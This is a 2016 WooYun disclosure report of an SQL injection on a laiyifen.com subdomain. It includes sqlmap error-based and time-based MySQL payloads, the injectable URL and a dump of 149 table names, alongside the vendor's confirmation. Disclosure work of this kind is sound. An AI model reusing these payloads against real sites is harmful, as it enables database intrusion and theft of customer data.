当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0182043

漏洞标题：来伊份某站存在SQL注入漏洞

相关厂商：laiyifen.com

漏洞作者： 路人甲

提交时间：2016-03-08 00:41

修复时间：2016-04-22 14:14

公开时间：2016-04-22 14:14

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：11

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-03-08： 细节已通知厂商并且等待厂商处理中
2016-03-08： 厂商已经确认，细节仅向厂商公开
2016-03-18： 细节向核心白帽子及相关领域专家公开
2016-03-28： 细节向普通白帽子公开
2016-04-07： 细节向实习白帽子公开
2016-04-22： 细节向公众公开

简要描述：

详细说明：

http://group.laiyifen.com/index.php/article-gonggao-lists-1*-2.html


需要--level 5

5.png

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: http://group.laiyifen.com:80/index.php/article-gonggao-lists-1" AND (SELECT 7127 FROM(SELECT COUNT(*),CONCAT(0x71716a7871,(SELECT (ELT(7127=7127,1))),0x7162766a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND "WRsK"="WRsK-2.html
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: http://group.laiyifen.com:80/index.php/article-gonggao-lists-1" AND SLEEP(5) AND "Bnty"="Bnty-2.html
---
web application technology: Nginx, PHP 5.4.38
back-end DBMS: MySQL 5.0
Database: groupdb
[149 tables]
+---------------------------------+
| sdb_aftersales_return_product   |
| sdb_authenticator_clients       |
| sdb_authenticator_requestlist   |
| sdb_b2c_bcompany                |
| sdb_b2c_brand                   |
| sdb_b2c_cart                    |
| sdb_b2c_cart_objects            |
| sdb_b2c_comment_goods_point     |
| sdb_b2c_comment_goods_type      |
| sdb_b2c_counter                 |
| sdb_b2c_counter_attach          |
| sdb_b2c_coupons                 |
| sdb_b2c_delivery                |
| sdb_b2c_delivery_items          |
| sdb_b2c_dly_h_area              |
| sdb_b2c_dlycorp                 |
| sdb_b2c_dlytype                 |
| sdb_b2c_excard_rule             |
| sdb_b2c_excard_used             |
| sdb_b2c_fbtad                   |
| sdb_b2c_goods                   |
| sdb_b2c_goods_cat               |
| sdb_b2c_goods_keywords          |
| sdb_b2c_goods_lv_price          |
| sdb_b2c_goods_promotion_ref     |
| sdb_b2c_goods_rate              |
| sdb_b2c_goods_spec_index        |
| sdb_b2c_goods_type              |
| sdb_b2c_goods_type_props        |
| sdb_b2c_goods_type_props_value  |
| sdb_b2c_goods_type_spec         |
| sdb_b2c_goods_virtual_cat       |
| sdb_b2c_history_orders          |
| sdb_b2c_history_products        |
| sdb_b2c_huodong_log             |
| sdb_b2c_huodongda               |
| sdb_b2c_jiang_huodong           |
| sdb_b2c_jiang_log               |
| sdb_b2c_jiang_members           |
| sdb_b2c_lulu_card               |
| sdb_b2c_lulu_exchange           |
| sdb_b2c_member_addrs            |
| sdb_b2c_member_advance          |
| sdb_b2c_member_comments         |
| sdb_b2c_member_coupon           |
| sdb_b2c_member_goods            |
| sdb_b2c_member_lv               |
| sdb_b2c_member_msg              |
| sdb_b2c_member_point            |
| sdb_b2c_member_pwdlog           |
| sdb_b2c_member_systmpl          |
| sdb_b2c_members                 |
| sdb_b2c_order_coupon_user       |
| sdb_b2c_order_delivery          |
| sdb_b2c_order_items             |
| sdb_b2c_order_log               |
| sdb_b2c_order_objects           |
| sdb_b2c_order_pmt               |
| sdb_b2c_orders                  |
| sdb_b2c_products                |
| sdb_b2c_recharge_log            |
| sdb_b2c_reship                  |
| sdb_b2c_reship_items            |
| sdb_b2c_sales_bangdingsp        |
| sdb_b2c_sales_freeShipping      |
| sdb_b2c_sales_freeshipping      |
| sdb_b2c_sales_rule_goods        |
| sdb_b2c_sales_rule_order        |
| sdb_b2c_sell_logs               |
| sdb_b2c_shop                    |
| sdb_b2c_spec_values             |
| sdb_b2c_specification           |
| sdb_b2c_type_brand              |
| sdb_b2copenapi_api_fail         |
| sdb_b2copenapi_api_log          |
| sdb_b2copenapi_api_log_copy     |
| sdb_b2copenapi_api_mobile_logs  |
| sdb_b2copenapi_request_shops    |
| sdb_base_app_content            |
| sdb_base_apps                   |
| sdb_base_cache_expires          |
| sdb_base_files                  |
| sdb_base_kvstore                |
| sdb_base_network                |
| sdb_base_queue                  |
| sdb_base_rpcnotify              |
| sdb_base_rpcpoll                |
| sdb_base_task                   |
| sdb_content_article_bodys       |
| sdb_content_article_indexs      |
| sdb_content_article_nodes       |
| sdb_couponlog_order_coupon_ref  |
| sdb_couponlog_order_coupon_user |
| sdb_dbeav_meta_register         |
| sdb_dbeav_meta_value_datetime   |
| sdb_dbeav_meta_value_decimal    |
| sdb_dbeav_meta_value_int        |
| sdb_dbeav_meta_value_longtext   |
| sdb_dbeav_meta_value_text       |
| sdb_dbeav_meta_value_varchar    |
| sdb_dbeav_recycle               |
| sdb_desktop_filter              |
| sdb_desktop_flow                |
| sdb_desktop_hasrole             |
| sdb_desktop_menus               |
| sdb_desktop_recycle             |
| sdb_desktop_role_flow           |
| sdb_desktop_roles               |
| sdb_desktop_tag                 |
| sdb_desktop_tag_rel             |
| sdb_desktop_user_flow           |
| sdb_desktop_users               |
| sdb_ectools_analysis            |
| sdb_ectools_analysis_logs       |
| sdb_ectools_currency            |
| sdb_ectools_order_bills         |
| sdb_ectools_payments            |
| sdb_ectools_refunds             |
| sdb_ectools_regions             |
| sdb_express_dly_center          |
| sdb_express_print_tmpl          |
| sdb_gift_cat                    |
| sdb_gift_ref                    |
| sdb_giftpackage_giftpackage     |
| sdb_giftpackage_order_ref       |
| sdb_groupactivity_order_act     |
| sdb_groupactivity_purchase      |
| sdb_image_image                 |
| sdb_image_image_attach          |
| sdb_operatorlogmanage_logs      |
| sdb_operatorlogmanage_register  |
| sdb_pam_account                 |
| sdb_pam_auth                    |
| sdb_pam_log                     |
| sdb_pam_logs                    |
| sdb_recommended_goods           |
| sdb_recommended_goods_period    |
| sdb_site_explorers              |
| sdb_site_link                   |
| sdb_site_menus                  |
| sdb_site_modules                |
| sdb_site_route_statics          |
| sdb_site_seo                    |
| sdb_site_themes                 |
| sdb_site_themes_tmpl            |
| sdb_site_widgets                |
| sdb_site_widgets_instance       |
| sdb_site_widgets_proinstance    |
| sdb_timedbuy_objitems           |
+---------------------------------+

漏洞证明：

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：19

确认时间：2016-03-08 14:14

厂商回复：

感谢您对来伊份的支持，我们会努力做好！

最新状态：

暂无

漏洞评价：

评价

  1. 2016-03-08 10:57 | 你大爷在此 百无禁忌 ( 路人 | Rank:18 漏洞数:9 | 迎风尿三丈 顺风八十米)

    绝对会忽略的！